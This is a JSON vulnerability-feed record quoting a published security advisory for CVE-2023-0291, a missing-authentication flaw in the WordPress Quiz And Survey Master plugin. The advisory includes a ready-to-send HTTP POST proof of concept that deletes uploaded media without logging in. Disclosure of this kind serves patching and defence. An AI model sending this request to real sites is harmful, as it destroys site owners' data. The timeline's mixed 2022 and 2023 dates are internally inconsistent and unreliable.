{"uuid": "7770830d-d14e-470b-86b1-1bed646fd220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "seen", "source": "https://t.me/hacking_Attack/90592", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Media Deletion\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.\n\nSHA-256 | 45afa719cdeb338f8d0beb9b6c68e717ebfe472417ebe348bbc34459b0250c7c\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Missing Authentication for Critical Function [CWE-306]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0291\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" to unauthenticated\nusers which accepts a \"media_id\" parameter pointing to a any item uploaded through\nWordPress' media upload functionality. However, this \"media_id\" is afterward used\nin a forced wp_delete_attachment() call ultimately deleteing the media from the\nWordPress instance.\n\nSuccessful exploits can allow an unauthenticated attacker to delete any (and all)\nuploaded WordPress media files.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n\nPOST /wp-admin/admin-ajax.php HTTP/2\nHost: localhost\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 44\n\naction=qsm_remove_file_fd_question&media_id=1\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n--\nMit freundlichen Gr\u00fc\u00dfen / With best regards / Atentamente\n\nJulien Ahrens\nFreelancer | Penetration Tester\n\nRCE Security\nVAT-ID: DE328576638\nWebsite: www.rcesecurity.com\nThis e-mail may contain confidential and/or privileged information.\nIf you are not the intended recipient (or have received this e-mail in\nerror) please notify the sender immediately and destroy this e-mail.\nAny unauthorized copying, disclosure or distribution of the material\nin this e-mail is strictly forbidden.\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:04.744653Z"}